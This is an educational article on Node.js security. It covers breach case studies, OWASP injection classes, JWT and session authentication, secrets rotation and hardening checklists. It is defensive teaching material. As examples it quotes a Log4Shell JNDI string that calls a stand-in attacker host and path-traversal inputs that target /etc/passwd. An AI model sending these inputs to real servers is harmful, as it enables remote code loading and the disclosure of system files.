Security Patterns: Node.js Security

In 2021, the company Colonial Pipeline (the largest fuel supplier in the USA) was attacked by the ransomware group DarkSide. The attackers gained access through a compromised VPN password (without MFA). In 6 days, they encrypted 100GB of data and demanded a $4.4 million ransom. The company paid, but it caused panic: gas stations closed, fuel prices rose by 20%, and emergency alerts were declared. And all this because of one weak password. Security is not an optional feature; it is the foundation of an application.

• **Equifax (2017):** 147 million records stolen through an Apache Struts vulnerability (patch was available 2 months prior). Cost to the company: $1.4 billion in settlements, reputational collapse.
• **npm event-stream (2018):** Malicious code in a popular library was stealing Bitcoin keys. 2 million downloads/week, no one checked the dependency code.
• **SolarWinds (2020):** Supply chain attack through a compromised build process. Malicious code was included in an official update, affecting 18,000 companies including the US government.
• **Log4Shell (2021):** Zero-day in Log4j (Java logging library). Millions of servers are vulnerable, simple exploitation: `${jndi:ldap://attacker.com/a}` in user-agent. The fix took months because Log4j is used everywhere.

OWASP Top 10 & Threat Model

Imagine that you have built a fortress (your Node.js application), but forgot to close the back door. Attackers don't need to break down the walls - they will simply enter through the open door. This is exactly how most attacks on web applications work: not through complex 0-day exploits, but through trivial developer mistakes.

**OWASP Top 10** is a list of the most common web application vulnerabilities, updated every 3-4 years. For Node.js, the critical ones are: **Injection** (SQL, NoSQL, Command), **Broken Authentication**, **Sensitive Data Exposure**, **Security Misconfiguration**, and **Using Components with Known Vulnerabilities**.

**Threat Model** is a systematic approach to security: *Who* can attack? *What* do they want to obtain? *How* will they attack? For each API endpoint, ask yourself: what if the user sends `userId: "../../../etc/passwd"`? What if in the JWT token `role: "admin"`? This kind of thinking prevents 90% of vulnerabilities.

**Principle of Least Privilege:** Each system component should have the minimum set of rights necessary for operation. A database for a web application SHOULD NOT have DROP TABLE rights. A JWT token SHOULD NOT contain all user data. An API key for sending emails SHOULD NOT have the rights to read emails.

Injection Attacks

**Injection** is an attack where an attacker injects code into user input, and your application executes this code. The three most dangerous types for Node.js are: **SQL Injection** (classic), **NoSQL Injection** (MongoDB, Redis), **Command Injection** (exec, spawn). They all work on the same principle: you trust user input and do not escape it.

**Path Traversal** - a specific case of injection. The attacker uses `..` to go beyond the allowed directory. Example: `GET /files?name=../../../../etc/passwd`. **Protection:** 1) Path validation (prohibit `.`, `/`, `\`) 2) Use `path.resolve()` + check that the final path is within the base directory 3) Whitelist of allowed files.

**NEVER use eval(), Function(), vm.runInNewContext() with user input!** Even with a sandbox, it is dangerous. There are dozens of ways to escape the sandbox (prototype pollution, process.binding, require.cache). If you need to execute dynamic code, use a DSL (Domain-Specific Language) with a parser and interpreter that controls all operations.

Authentication & Authorization

**Authentication (AuthN)** - is *"who are you?"* (identity verification). **Authorization (AuthZ)** - is *"what are you allowed to do?"* (rights verification). A classic mistake: implementing good authentication (JWT, OAuth) but forgetting about authorization - the user is logged in but can do anything.

**JWT (JSON Web Token)** - a standard for stateless authentication. The token contains a payload (userId, role, exp) + a signature (HMAC SHA256 or RSA). The server does not store sessions - it simply verifies the signature. Ideal for microservices and mobile applications. **Session-based** - the server stores sessions in memory/Redis, the client only receives a session ID. Advantage: a session can be revoked instantly. Disadvantage: scaling is more difficult (shared storage is needed).

**Refresh Token Rotation:** When refreshing the access token, issue a new refresh token and invalidate the old one. This protects against refresh token theft - an attacker will only be able to use it once, after which the legitimate user will receive an error, and you will understand that the token is compromised.

**CSRF (Cross-Site Request Forgery):** If you use cookies for auth, be sure to protect against CSRF through: 1) `SameSite=Strict` cookie attribute 2) CSRF tokens (generate a random token, store it in session, require it in POST requests) 3) Check the `Origin`/`Referer` header. JWT in the `Authorization` header is not susceptible to CSRF, but store the refresh token in an httpOnly cookie.

Secrets Management

**Secrets** are data whose compromise gives an attacker access to the system: API keys, JWT secrets, private keys, database passwords, AWS/GCP credentials. The golden rule: **NEVER store secrets in code, in git, or in production server environment variables without encryption**.

**Environment Variables** - minimal level of protection for development. In production, use **Secrets Manager** (AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault, Azure Key Vault). They provide: encryption at rest and in transit, secret rotation, audit log (who and when accessed the secret), granular access control.

**Secrets Rotation:** Change critical secrets regularly (JWT secret - every 90 days, API keys - when a developer changes, DB passwords - every 30 days for production). When rotating the JWT secret, use a grace period: verify tokens with both the old and new key for 24 hours to avoid logging out all users instantly.

**Logging Secrets:** Ensure that secrets do NOT end up in logs. Common mistakes: `console.log(req.headers)` (contains Authorization header), `logger.error(error.stack)` (may contain env vars), logging all query params (could be `?api_key=...`). Use redaction in the logger (Winston, Pino) to mask sensitive fields.

Hardening the application

**Hardening** is a set of measures that reduce the attack surface of your application. Even if there are no obvious vulnerabilities in your code, incorrect configuration can give attackers access. The main tools for Node.js: **Helmet.js** (security headers), **Rate Limiting** (protection against brute-force and DDoS), **CORS** (control of cross-origin requests), **CSP** (Content Security Policy).

**Defense in Depth:** Do not rely on a single level of protection. Combine: 1) Firewall + WAF (network) 2) Rate limiting + CORS (HTTP) 3) Input validation + Parameterized queries (application) 4) RBAC + Audit logs (business logic) 5) Monitoring + Alerts (attack detection). If an attacker bypasses one layer, the next will stop them.

**Do not rely solely on client-side validation!** An attacker can send a request directly via curl/Postman, bypassing your frontend. ALWAYS validate data on the server. Client-side validation is for UX, server-side is for security.

**Security Checklist for Production:** ✅ HTTPS only (HSTS enabled) ✅ Helmet.js with CSP ✅ Rate limiting (global + per-endpoint) ✅ CORS configured (whitelist origins) ✅ Secrets in Secrets Manager (not in .env) ✅ JWT with short expiry (15 min access, 7 days refresh) ✅ Input validation (Zod/Joi) on all endpoints ✅ Prepared statements / ORM (protection against injection) ✅ RBAC/ABAC for authorization ✅ npm audit in CI/CD ✅ Logging (Winston) + Monitoring (Sentry) ✅ Regular security audits ✅ Dependency updates (Renovate Bot)

Key Ideas

• **OWASP Top 10** - your security checklist. Injection, Broken Auth, Sensitive Data Exposure, Security Misconfiguration - these are 80% of vulnerabilities. Threat model: for each endpoint, ask "what if the user is malicious?"
• **Injection (SQL/NoSQL/Command/Path)** - NEVER concatenate user input into queries/commands. Use: prepared statements, ORM, type validation (Zod), execFile instead of exec, path.resolve + range checking.
• **Authentication & Authorization** - these are two different levels. JWT for stateless auth (short access + long refresh token), Sessions for stateful. RBAC/ABAC for access rights. OAuth 2.0 for delegated authorization. Protection against CSRF through SameSite cookies + CSRF tokens.
• **Secrets Management** - NEVER in code/git. Development: .env + validation. Production: AWS Secrets Manager / Vault. Generation: crypto.randomBytes(32). Rotation: every 90 days for JWT, immediately upon compromise. IAM roles instead of long-lived credentials.
• **Hardening** - layered defense. Helmet.js (CSP, HSTS, X-Frame-Options), Rate Limiting (brute-force + DDoS), CORS (whitelist origins), npm audit (vulnerable dependencies), Monitoring (attack detection). HTTPS - only the first layer, not a panacea.

Related topics

Security is not an isolated topic, but part of the application architecture:

• Crypto Module — Used for password hashing (bcrypt, scrypt), generating JWT secrets, data encryption (AES-256-GCM), creating HMAC signatures
• HTTP/2 & HTTP/3 — Modern protocols enhance security (TLS 1.3 is mandatory), but introduce new vulnerabilities (HTTP/2 Rapid Reset DDoS).
• Error Handling — Proper error handling prevents information leakage (stack traces with paths, environment variables, SQL queries)
• Production Patterns — Monitoring (Winston, Sentry), Health checks, Graceful shutdown, Process managers - critical for security in production.

Вопросы для размышления

• What are the three most critical vulnerabilities in your current project? How can they be addressed in the next 48 hours?
• If your GitHub repository becomes public tomorrow, what secrets will be leaked? How can you rewrite the architecture so that this is not a problem?
• Imagine that an attacker has gained access to your database (SQL injection). What data will they be able to read? How can you minimize the damage through encryption and least privilege?
• If your JWT secret is compromised, how long will rotation take? Can you do it without downtime and mass logout of users?
• How do you know that your application is being attacked right now? What metrics/alerts are configured? What should you do in the first 5 minutes after detecting an attack?

Связанные уроки

• sec-01